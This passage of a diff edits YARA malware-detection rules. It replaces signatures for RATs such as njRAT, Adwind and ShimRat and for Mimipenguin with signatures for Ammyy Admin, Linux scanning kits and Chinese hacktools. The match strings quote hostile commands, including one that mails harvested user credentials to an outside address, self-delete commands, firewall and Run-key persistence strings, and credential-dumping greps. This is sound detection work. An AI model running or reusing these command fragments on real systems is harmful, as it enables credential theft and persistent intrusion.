+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/adWind"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L992-L1011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "11167b927fa06324950753c6ec8f28058f2aa66fb4ecdf66a21de11a8db190b8"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2766-L2792"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50c91f1036ae467de51227b6782978c33607f94724d2e1b0af7c958028a84b48"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
+		hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
+		hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
 
 	strings:
-		$meta = "META-INF"
-		$conf = "config.xml"
-		$a = "Adwind.class"
-		$b = "Principal.adwind"
+		$s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
+		$s1 = "-ERR Get SMS Users ID Failed" fullword
+		$s2 = "Control Time Out 90 Secs, Connection Closed" fullword
+		$s3 = "-ERR Post SMS Failed" fullword
+		$s4 = "Current.hlt" fullword
+		$s6 = "Histroy.hlt" fullword
+		$s7 = "-ERR Send SMS Failed" fullword
+		$s12 = "-ERR Change Password <New Password>" fullword
+		$s17 = "+OK Send SMS Succussifully" fullword
+		$s18 = "+OK Set New Password: [%s]" fullword
+		$s19 = "CHANGE PASSWORD" fullword
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Njrat
+import "pe"
+
+rule SIGNATURE_BASE_Ammyy_Admin_AA_V3
 {
 	meta:
-		description = "Detects njRAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "6289b9c8-eef6-5cfb-97bd-b819158d6fdd"
-		date = "2014-01-04"
+		description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bb140cb7-9f56-5acb-883e-080dfd3f60d5"
+		date = "2014-12-22"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/njRat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L1013-L1036"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47e8cc71caaefd70a170eb8fc845cb7ddb8df04b90163fe35f1ccb9a3f614c57"
-		score = 75
+		reference = "http://goo.gl/gkAg2E"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2794-L2818"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ab1de9f3b58cdb2c03f2d72986772333f8b81c98e6cbfd941f20b2fed1c5ff2"
+		score = 55
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
+		hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
 
 	strings:
-		$s1 = {7C 00 27 00 7C 00 27 00 7C}
-		$s2 = "netsh firewall add allowedprogram" wide
-		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s4 = "yyyy-MM-dd" wide
-		$v1 = "cmd.exe /k ping 0 & del" wide
-		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
-		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide
+		$x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
+		$x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
+		$x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
+		$x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
+		$x5 = "Please enter password for accessing remote computer" fullword ascii
+		$s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
+		$s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
+		$s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
+		$s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii
 
 	condition:
-		all of ($s*) and any of ($v*)
+		2 of ($x*) or all of ($s*)
 }
-rule SIGNATURE_BASE_RAT_Unrecom
+import "pe"
+
+rule SIGNATURE_BASE_Linuxhacktool_Eyes_Scanssh
 {
 	meta:
-		description = "Detects unrecom RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "56b11c22-f43c-5192-9a0a-0ac14b0cd041"
-		date = "2014-01-04"
+		description = "Linux hack tools - file scanssh"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9546d0d8-42af-5b4c-ac93-195d14bfbb5b"
+		date = "2015-01-19"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/unrecom"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L1038-L1058"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "15ab9ee2f3fd825e91813a185bc5c7d7e790de39cd3e88c375b801d1412a08f4"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2822-L2847"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
+		logic_hash = "cb20c28f1767ce23f60c377943d8a129fa069b1a1407bbaf43370f0ff79ade30"
 		score = 75
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$meta = "META-INF"
-		$conf = "load/ID"
-		$a = "load/JarMain.class"
-		$b = "load/MANIFEST.MF"
-		$c = "plugins/UnrecomServer.class"
+		$s0 = "Connection closed by remote host" fullword ascii
+		$s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
+		$s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
+		$s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
+		$s5 = "Server closed connection" fullword ascii
+		$s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
+		$s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
+		$s9 = "Remote host closed connection" fullword ascii
+		$s10 = "%s: line %d: bad command `%s'" fullword ascii
+		$s13 = "verifying that server is a known host : file %s not found" fullword ascii
+		$s14 = "%s: line %d: expected service, found `%s'" fullword ascii
+		$s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
+		$s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_MAL_JRAT_Oct18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Linuxhacktool_Eyes_Pscan2
 {
 	meta:
-		description = "Detects JRAT malware"
+		description = "Linux hack tools - file pscan2"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f211ef1c-8def-55f0-8817-d01ebd9c2947"
-		date = "2018-10-11"
+		id = "02d96766-6696-5410-ad48-bd8cb642ac51"
+		date = "2015-01-19"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L1060-L1072"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7c652f3943ae7639633b82663f639adb7dea1bae9e617a14710fb6e448cfdbee"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2849-L2867"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "56b476cba702a4423a2d805a412cae8ef4330905"
+		logic_hash = "3686ccbd53a6dcedf9b10d131a1fc76b51b265328ad10f63671b64d4bf57a0b6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "ce190c37a6fdb2632f4bc5ea0bb613b3fbe697d04e68e126b41910a6831d3411"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "/JRat.class" ascii
+		$s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
+		$s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
+		$s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
+		$s8 = "Invalid IP." fullword ascii
+		$s9 = "# scanning: " fullword ascii
+		$s10 = "Unable to allocate socket." fullword ascii
 
 	condition:
-		uint16(0)==0x4b50 and filesize <700KB and 1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Mimipenguin_SH
+import "pe"
+
+rule SIGNATURE_BASE_Linuxhacktool_Eyes_A
 {
 	meta:
-		description = "Detects Mimipenguin Password Extractor - Linux"
+		description = "Linux hack tools - file a"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c670f6fe-562d-598f-a73f-45e4ab234f7d"
-		date = "2017-04-01"
+		id = "2b4f52d4-b438-5040-89c5-aab1df15200e"
+		date = "2015-01-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/huntergregal/mimipenguin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimipenguin.yar#L8-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d9827e7adfe667a4a46e23854cac3b63949abcde5709045f0fe65e7b5704265"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2869-L2887"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
+		logic_hash = "a246eb907fd6525c96c911acde6b513fca68248ef8d4f8fa64039791942950ab"
 		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$(echo $thishash | cut -d'$' -f 3)" ascii
-		$s2 = "ps -eo pid,command | sed -rn '/gnome\\-keyring\\-daemon/p' | awk" ascii
-		$s3 = "MimiPenguin Results:" ascii
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "mv scan.log bios.txt" fullword ascii
+		$s2 = "rm -rf bios.txt" fullword ascii
+		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
+		$s4 = "././pscan2 $1 22" fullword ascii
+		$s10 = "echo \"#cautam...\"" fullword ascii
 
 	condition:
-		1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Mimipenguin_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Linuxhacktool_Eyes_Mass
 {
 	meta:
-		description = "Detects Mimipenguin hack tool"
+		description = "Linux hack tools - file mass"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62754337-52ef-5d3f-af2f-52f820ba0476"
-		date = "2017-07-08"
+		id = "5da0c474-2dc8-5580-bf5c-d3f464225e4c"
+		date = "2015-01-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/huntergregal/mimipenguin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimipenguin.yar#L34-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60a7b64eee9e2adfbc65fb5762f18e2abc4a35f9368ad704754870b5e8311391"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2889-L2906"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2054cb427daaca9e267b252307dad03830475f15"
+		logic_hash = "5bf17d1a8ae78681d2c3cba8511019ddf85e6d7a242900b56848521eef40ffc6"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9e8d13fe27c93c7571075abf84a839fd1d31d8f2e3e48b3f4c6c13f7afcf8cbd"
 
 	strings:
-		$x1 = "self._strings_dump += strings(dump_process(target_pid))" fullword ascii
-		$x2 = "def _dump_target_processes(self):" fullword ascii
-		$x3 = "self._target_processes = ['sshd:']" fullword ascii
-		$x4 = "GnomeKeyringPasswordFinder()" ascii
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
+		$s3 = "killall -9 pscan2" fullword ascii
+		$s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
+		$s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <20KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Mimipenguin_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Linuxhacktool_Eyes_Pscan2_2
 {
 	meta:
-		description = "Detects Mimipenguin hack tool"
+		description = "Linux hack tools - file pscan2.c"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3bb1ba9-cbfc-53fd-81d0-256466ace4de"
-		date = "2017-07-08"
+		id = "3950b235-70bc-5afd-add5-38c50055b28b"
+		date = "2015-01-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/huntergregal/mimipenguin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mimipenguin.yar#L52-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "53a1f47ef9c94ef6bffbc9d7b9f3a8e0a7fb132c0936ea27e6be775cf99792a0"
+		reference = "not set"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2908-L2925"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "eb024dfb441471af7520215807c34d105efa5fd8"
+		logic_hash = "981514cf0887a1a7cb55fe9ed9dadd48adbf0f033e527b357e90e052a4c2d251"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "453bffa90d99a820e4235de95ec3f7cc750539e4023f98ffc8858f9b3c15d89a"
 
 	strings:
-		$x1 = "DUMP=$(strings \"/tmp/dump.${pid}\" | grep -E" fullword ascii
-		$x2 = "strings /tmp/apache* | grep -E '^Authorization: Basic.+=$'" fullword ascii
-		$x3 = "grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A" fullword ascii
-		$x4 = "strings \"/tmp/dump.${pid}\" | grep -E -m 1 '^\\$.\\$.+\\$')\"" fullword ascii
-		$x5 = "if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then" fullword ascii
+		$s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
+		$s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
+		$s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
+		$s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
+		$s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <20KB and 1 of them )
+		2 of them
 }
-rule SIGNATURE_BASE_Shimrat
+import "pe"
+
+rule SIGNATURE_BASE_CN_Portscan : APT FILE
 {
 	meta:
-		description = "Detects ShimRat and the ShimRat loader"
-		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
-		id = "21431895-1180-5552-8e82-1589992ffa1d"
-		date = "2015-11-20"
+		description = "CN Port Scanner"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fb52a89a-2270-5170-9874-9278a0177454"
+		date = "2013-11-29"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mofang.yar#L1-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0dd19e6a65b06bd5846ec224f01c3feea066540317223d1991154b2305882b20"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2927-L2941"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1b745bd321527cee3eb203847d00c9eda4a7b1e498cb8f0ad6b588f87221759"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "APT, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		confidential = false
 
 	strings:
-		$dll = ".dll"
-		$dat = ".dat"
-		$headersig = "QWERTYUIOPLKJHG"
-		$datasig = "MNBVCXZLKJHGFDS"
-		$datamarker1 = "Data$$00"
-		$datamarker2 = "Data$$01%c%sData"
-		$cmdlineformat = "ping localhost -n 9 /c %s > nul"
-		$demoproject_keyword1 = "Demo"
-		$demoproject_keyword2 = "Win32App"
-		$comspec = "COMSPEC"
-		$shim_func1 = "ShimMain"
-		$shim_func2 = "NotifyShims"
-		$shim_func3 = "GetHookAPIs"
+		$s2 = "TCP 12.12.12.12"
 
 	condition:
-		($dll and $dat and $headersig and $datasig) or ($datamarker1 and $datamarker2) or ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
+		uint16(0)==0x5A4D and $s2
 }
-rule SIGNATURE_BASE_Shimratreporter
+import "pe"
+
+rule SIGNATURE_BASE_WMI_Vbs : APT
 {
 	meta:
-		description = "Detects ShimRatReporter"
-		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
-		id = "01688b3c-2f06-518f-939d-4d65529be5ae"
-		date = "2015-11-20"
+		description = "WMI Tool - APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b367306a-38d8-5f4d-8f09-2bf025831f0a"
+		date = "2013-11-29"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_mofang.yar#L28-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "931d65628e5f0b7c63fe270b0a6cd3890f41a4ee7e253ce056b37f2d55542258"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2943-L2957"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94163981c1a80838d1bea1b21f713f1d8fbdac8704319d1a145f0b4f6d8ff3f6"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		confidential = false
 
 	strings:
-		$IpInfo = "IP-INFO"
-		$NetworkInfo = "Network-INFO"
-		$OsInfo = "OS-INFO"
-		$ProcessInfo = "Process-INFO"
-		$BrowserInfo = "Browser-INFO"
-		$QueryUserInfo = "QueryUser-INFO"
-		$UsersInfo = "Users-INFO"
-		$SoftwareInfo = "Software-INFO"
-		$AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
-		$proxy_str = "(from environment) = %s"
-		$netuserfun = "NetUserEnum"
-		$networkparams = "GetNetworkParams"
+		$s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Fakefilemaker : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Toolset__Xscanlib_Xscanlib_Xscanlib
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "2c87114f-5295-583f-b567-623d478ce0eb"
-		date = "2021-01-22"
+		description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c32415f4-044c-50ef-9c4c-b9327cbcef69"
+		date = "2015-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/DamonMohammadbagher/FakeFileMaker"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L3-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27d402835f31b6383c837e90248ae5c6d22f4c267d52625ebfbcc2ee5099ccad"
-		score = 75
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2959-L2980"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f7f66f1f3ca05e60ac850fbb94c471f664d2dc8a60c09b18686c9f2937296697"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "af419603ac28257134e39683419966ab3d600ed2"
+		hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+		hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
 
 	strings:
-		$name = "FakeFileMaker" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "Plug-in thread causes an exception, failed to alert user." fullword
+		$s2 = "PlugGetUdpPort" fullword
+		$s3 = "XScanLib.dll" fullword
+		$s4 = "PlugGetTcpPort" fullword
+		$s11 = "PlugGetVulnNum" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Wmipersistence : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Toolset_Ntscan_Pipecmd
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "7a674596-c697-569d-a16c-3cefe4ff752a"
-		date = "2021-01-22"
+		description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "056ee42d-23f4-5b03-b240-392bc92b90b0"
+		date = "2015-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/mdsecactivebreach/WMIPersistence"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L18-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f8f5e1b6d9b9e8e2f76a7e02385142bbeb755d1b1e41e501f4f74fcaba0a7dad"
-		score = 75
-		quality = 85
-		tags = "FILE"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2982-L3006"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
+		logic_hash = "2dab5a4de2abeff5659aa90fbc82bef359937ca9e45e8805b509baeb16943531"
+		score = 70
+		quality = 60
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "WMIPersistence" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s3 = "PipeCmd.exe" fullword wide
+		$s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s5 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
+		$s9 = "PipeCmdSrv.exe" fullword ascii
+		$s10 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
+		$s14 = "PIPECMDSRV" fullword wide
+		$s15 = "PipeCmd Service" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		4 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_Adcollector_Sep22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Toolset_Lscanportss_2
 {
 	meta:
-		description = "Detects ADCollector Tool - a lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending"
+		description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "48b376e4-752b-523e-b34e-65b6944c33fb"
-		date = "2022-09-15"
+		id = "0a796585-5fc8-5b55-acfc-3fe87308b681"
+		date = "2015-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/dev-2null/ADCollector"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L55-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "66d5363e885378c442e7532f69d4c36618d7a0f5dbe67490631d1ed5078d3fba"
-		score = 75
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3008-L3028"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4631ec57756466072d83d49fbc14105e230631a0"
+		logic_hash = "aeecdbef3fe6d66a209df10b44046783e53ef12f67c6877309cb219db4354733"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "241390219a0a773463601ca68b77af97453c20af00a66492a7a78c04d481d338"
-		hash2 = "cc086eb7316e68661e3d547b414890d5029c5cc460134d8b628f4b0be7f27fb3"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "ADCollector.exe --SPNs --Term key --Acls 'CN=Domain Admins,CN=Users,DC=lab,DC=local'" wide fullword
-		$s1 = "ADCollector.exe" wide fullword
-		$s2 = "ENCRYPTED_TEXT_PASSWORD_ALLOWED" ascii fullword
-		$s3 = "\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" wide
